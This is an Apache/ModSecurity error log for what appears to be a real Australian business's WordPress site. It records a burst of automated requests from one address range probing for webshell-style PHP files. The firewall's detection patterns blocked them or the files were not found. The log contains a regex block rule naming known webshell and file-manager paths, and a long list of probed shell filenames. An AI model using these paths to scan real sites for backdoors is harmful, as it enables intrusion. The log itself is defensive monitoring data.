[Wed Apr 22 22:11:37.716387 2026] [:error] [pid 6384:tid 6411] [client 45.86.202.39:52645] [client 45.86.202.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aejXGT58M3t15ICeWHVvewAAANg"]
[Wed Apr 22 22:11:39.689676 2026] [:error] [pid 6344:tid 6372] [client 45.86.202.50:54515] [client 45.86.202.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aejXG0DOTF-pkQnDeUkKEwAAABc"]
[Wed Apr 22 22:11:40.923204 2026] [:error] [pid 6250:tid 6277] [client 45.86.202.49:38191] [client 45.86.202.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aejXHA-iZeQkqmQVfj4iEgAAAFc"]
[Wed Apr 22 22:11:42.533970 2026] [:error] [pid 6252:tid 6331] [client 45.86.202.29:27919] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Wed Apr 22 22:11:43.378283 2026] [:error] [pid 6252:tid 6327] [client 45.86.202.29:27919] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Wed Apr 22 22:11:43.656875 2026] [:error] [pid 6252:tid 6313] [client 45.86.202.29:27919] [client 45.86.202.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aejXH-tGYuiYb1nWBpRfRQAAAQE"]
[Wed Apr 22 22:11:44.730610 2026] [:error] [pid 6384:tid 6405] [client 45.86.202.31:47751] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Wed Apr 22 22:11:45.017726 2026] [:error] [pid 6384:tid 6411] [client 45.86.202.31:47751] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Wed Apr 22 22:11:46.509672 2026] [:error] [pid 6384:tid 6392] [client 45.86.202.31:47751] [client 45.86.202.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aejXIj58M3t15ICeWHVvsAAAAMU"]
[Wed Apr 22 22:11:49.201683 2026] [:error] [pid 6384:tid 6393] [client 45.86.202.9:46209] [client 45.86.202.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aejXJT58M3t15ICeWHVvxAAAAMY"]
[Wed Apr 22 22:11:50.294554 2026] [:error] [pid 9085:tid 9092] [client 45.86.202.18:65517] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aejXJt-_-or9vQnlWnqxFgAAAUU"]
[Wed Apr 22 22:11:52.507289 2026] [:error] [pid 23776:tid 23779] [client 45.86.202.42:27939] [client 45.86.202.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aejXKLRExf-1pAbSeJsUbwAAAYE"]
[Wed Apr 22 22:11:54.267819 2026] [:error] [pid 6384:tid 6396] [client 45.86.202.38:63027] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Wed Apr 22 22:11:54.709102 2026] [:error] [pid 6384:tid 6408] [client 45.86.202.38:63027] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Wed Apr 22 22:11:54.982139 2026] [:error] [pid 6384:tid 6406] [client 45.86.202.38:63027] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Wed Apr 22 22:11:55.253461 2026] [:error] [pid 6384:tid 6402] [client 45.86.202.38:63027] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Wed Apr 22 22:11:56.730544 2026] [:error] [pid 6384:tid 6401] [client 45.86.202.38:63027] [client 45.86.202.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aejXLD58M3t15ICeWHVv7QAAAM4"]
[Wed Apr 22 22:11:57.716199 2026] [:error] [pid 6384:tid 6402] [client 45.86.202.19:30245] [client 45.86.202.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aejXLT58M3t15ICeWHVv8wAAAM8"]
[Wed Apr 22 22:11:59.604724 2026] [:error] [pid 6384:tid 6393] [client 45.86.202.15:22961] [client 45.86.202.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aejXLz58M3t15ICeWHVv_QAAAMY"]
[Wed Apr 22 22:12:00.855106 2026] [:error] [pid 23776:tid 23788] [client 45.86.202.36:27843] [client 45.86.202.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aejXMLRExf-1pAbSeJsUfQAAAYo"]
[Wed Apr 22 22:12:02.991148 2026] [:error] [pid 23776:tid 23802] [client 45.86.202.42:21717] [client 45.86.202.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aejXMrRExf-1pAbSeJsUgQAAAZg"]
[Wed Apr 22 22:12:03.623920 2026] [:error] [pid 6344:tid 6365] [client 45.86.202.218:62947] [client 45.86.202.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aejXM0DOTF-pkQnDeUkKKAAAABA"]
[Wed Apr 22 22:12:04.928202 2026] [:error] [pid 6384:tid 6406] [client 45.86.202.15:37773] [client 45.86.202.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aejXND58M3t15ICeWHVwOAAAANM"]
[Wed Apr 22 22:12:05.837440 2026] [:error] [pid 9085:tid 9097] [client 45.86.202.45:61157] [client 45.86.202.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aejXNd-_-or9vQnlWnqxmgAAAUo"]
[Wed Apr 22 22:12:07.084108 2026] [:error] [pid 23776:tid 23788] [client 45.86.202.18:63169] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aejXN7RExf-1pAbSeJsUhwAAAYo"]
[Wed Apr 22 22:12:08.218352 2026] [:error] [pid 9085:tid 9103] [client 45.86.202.24:27849] [client 45.86.202.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aejXON-_-or9vQnlWnqxrgAAAVA"]
[Wed Apr 22 22:12:10.910513 2026] [:error] [pid 6252:tid 6333] [client 45.86.202.43:60295] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aejXOutGYuiYb1nWBpRfYgAAARU"]
[Wed Apr 22 22:12:13.535857 2026] [:error] [pid 6344:tid 6355] [client 45.86.202.218:50975] [client 45.86.202.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aejXPUDOTF-pkQnDeUkKMAAAAAY"]
[Wed Apr 22 22:12:14.502127 2026] [:error] [pid 9085:tid 9099] [client 45.86.202.47:26313] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Wed Apr 22 22:12:15.612011 2026] [:error] [pid 9085:tid 9105] [client 45.86.202.47:26313] [client 45.86.202.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aejXP9-_-or9vQnlWnqx5wAAAVI"]
[Wed Apr 22 22:12:17.366258 2026] [:error] [pid 9085:tid 9111] [client 45.86.202.30:42595] [client 45.86.202.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aejXQd-_-or9vQnlWnqx9QAAAVg"]
[Wed Apr 22 22:12:18.974262 2026] [:error] [pid 6344:tid 6370] [client 45.86.202.12:39933] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Wed Apr 22 22:12:19.330051 2026] [:error] [pid 6344:tid 6369] [client 45.86.202.12:39933] [client 45.86.202.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aejXQ0DOTF-pkQnDeUkKOQAAABQ"]
[Wed Apr 22 22:12:20.411349 2026] [:error] [pid 23776:tid 23800] [client 45.86.202.2:27253] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Wed Apr 22 22:12:20.730906 2026] [:error] [pid 23776:tid 23796] [client 45.86.202.2:27253] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Wed Apr 22 22:12:21.034247 2026] [:error] [pid 23776:tid 23784] [client 45.86.202.2:27253] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Wed Apr 22 22:12:21.313768 2026] [:error] [pid 23776:tid 23787] [client 45.86.202.2:27253] [client 45.86.202.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aejXRbRExf-1pAbSeJsUkgAAAYk"]
[Wed Apr 22 22:12:22.583774 2026] [:error] [pid 6384:tid 6393] [client 45.86.202.28:21635] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Wed Apr 22 22:12:22.859083 2026] [:error] [pid 6384:tid 6402] [client 45.86.202.28:21635] [client 45.86.202.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aejXRj58M3t15ICeWHVwzgAAAM8"]
[Wed Apr 22 22:12:24.502549 2026] [:error] [pid 23776:tid 23785] [client 45.86.202.13:42701] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Wed Apr 22 22:12:24.795205 2026] [:error] [pid 23776:tid 23792] [client 45.86.202.13:42701] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Wed Apr 22 22:12:25.077848 2026] [:error] [pid 23776:tid 23783] [client 45.86.202.13:42701] File does not exist: /usr/local/apache/htdocs/suspended-page/setup.php
[Wed Apr 22 22:12:26.484846 2026] [:error] [pid 23776:tid 23799] [client 45.86.202.13:42701] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Wed Apr 22 22:12:26.760475 2026] [:error] [pid 23776:tid 23788] [client 45.86.202.13:42701] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Wed Apr 22 22:12:27.381868 2026] [:error] [pid 23776:tid 23784] [client 45.86.202.13:42701] File does not exist: /usr/local/apache/htdocs/suspended-page/ab.php
[Wed Apr 22 22:12:28.239629 2026] [:error] [pid 23776:tid 23798] [client 45.86.202.13:42701] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Wed Apr 22 22:12:28.531264 2026] [:error] [pid 23776:tid 23791] [client 45.86.202.13:42701] [client 45.86.202.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aejXTLRExf-1pAbSeJsUqgAAAY0"]
[Wed Apr 22 22:12:29.365440 2026] [:error] [pid 23776:tid 23792] [client 45.86.202.43:24571] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aejXTbRExf-1pAbSeJsUrAAAAY4"]
[Wed Apr 22 22:12:30.676580 2026] [:error] [pid 9085:tid 9104] [client 45.86.202.1:22601] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Wed Apr 22 22:12:30.980432 2026] [:error] [pid 9085:tid 9099] [client 45.86.202.1:22601] [client 45.86.202.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aejXTt-_-or9vQnlWnqybwAAAUw"]
[Wed Apr 22 22:12:31.840327 2026] [:error] [pid 6384:tid 6395] [client 45.86.202.35:60587] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Wed Apr 22 22:12:32.121856 2026] [:error] [pid 6384:tid 6391] [client 45.86.202.35:60587] [client 45.86.202.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aejXUD58M3t15ICeWHVxPQAAAMQ"]
[Wed Apr 22 22:12:33.225122 2026] [:error] [pid 9085:tid 9108] [client 45.86.202.20:24351] [client 45.86.202.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aejXUd-_-or9vQnlWnqydQAAAVU"]
[Wed Apr 22 22:12:35.440301 2026] [:error] [pid 9085:tid 9107] [client 45.86.202.24:53513] [client 45.86.202.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aejXU9-_-or9vQnlWnqyjAAAAVQ"]
[Wed Apr 22 22:12:36.232082 2026] [:error] [pid 23776:tid 23785] [client 45.86.202.10:26045] [client 45.86.202.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aejXVLRExf-1pAbSeJsUswAAAYc"]
[Wed Apr 22 22:12:37.907761 2026] [:error] [pid 23776:tid 23794] [client 45.86.202.4:56001] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Wed Apr 22 22:12:38.480385 2026] [:error] [pid 23776:tid 23784] [client 45.86.202.4:56001] [client 45.86.202.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aejXVrRExf-1pAbSeJsUvgAAAYY"]
[Wed Apr 22 22:12:41.299530 2026] [:error] [pid 9085:tid 9094] [client 45.86.202.38:26397] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Wed Apr 22 22:12:41.866778 2026] [:error] [pid 9085:tid 9091] [client 45.86.202.38:26397] [client 45.86.202.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "aejXWd-_-or9vQnlWnqyuQAAAUQ"]
[Wed Apr 22 22:12:42.535816 2026] [:error] [pid 9085:tid 9108] [client 45.86.202.3:38869] [client 45.86.202.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aejXWt-_-or9vQnlWnqyxAAAAVU"]
[Wed Apr 22 22:12:43.401144 2026] [:error] [pid 6384:tid 6408] [client 45.86.202.17:60007] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Wed Apr 22 22:12:43.671842 2026] [:error] [pid 6384:tid 6392] [client 45.86.202.17:60007] [client 45.86.202.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aejXWz58M3t15ICeWHVxfgAAAMU"]
[Wed Apr 22 22:12:44.323286 2026] [:error] [pid 6384:tid 6394] [client 45.86.202.48:23079] [client 45.86.202.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aejXXD58M3t15ICeWHVxggAAAMc"]
[Wed Apr 22 22:12:45.709691 2026] [:error] [pid 9085:tid 9089] [client 45.86.202.28:52937] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Wed Apr 22 22:12:45.987716 2026] [:error] [pid 9085:tid 9091] [client 45.86.202.28:52937] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Wed Apr 22 22:12:46.539853 2026] [:error] [pid 9085:tid 9103] [client 45.86.202.28:52937] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Wed Apr 22 22:12:47.087325 2026] [:error] [pid 9085:tid 9092] [client 45.86.202.28:52937] [client 45.86.202.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aejXX9-_-or9vQnlWnqy7QAAAUU"]
[Wed Apr 22 22:12:47.619280 2026] [:error] [pid 6250:tid 6264] [client 45.86.202.13:65179] [client 45.86.202.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aejXXw-iZeQkqmQVfj4iQAAAAEo"]
[Wed Apr 22 22:12:50.315324 2026] [:error] [pid 23776:tid 23789] [client 45.86.202.21:43803] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Wed Apr 22 22:12:50.590189 2026] [:error] [pid 23776:tid 23798] [client 45.86.202.21:43803] [client 45.86.202.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "aejXYrRExf-1pAbSeJsU1wAAAZQ"]
[Wed Apr 22 22:12:52.532856 2026] [:error] [pid 6384:tid 6408] [client 45.86.202.43:28805] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aejXZD58M3t15ICeWHVxjgAAANU"]
[Wed Apr 22 22:12:53.265865 2026] [:error] [pid 6384:tid 6389] [client 45.86.202.17:57925] [client 45.86.202.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aejXZT58M3t15ICeWHVxjwAAAMI"]
[Wed Apr 22 22:12:55.120679 2026] [:error] [pid 9085:tid 9089] [client 45.86.202.41:21965] File does not exist: /usr/local/apache/htdocs/suspended-page/ff2.php
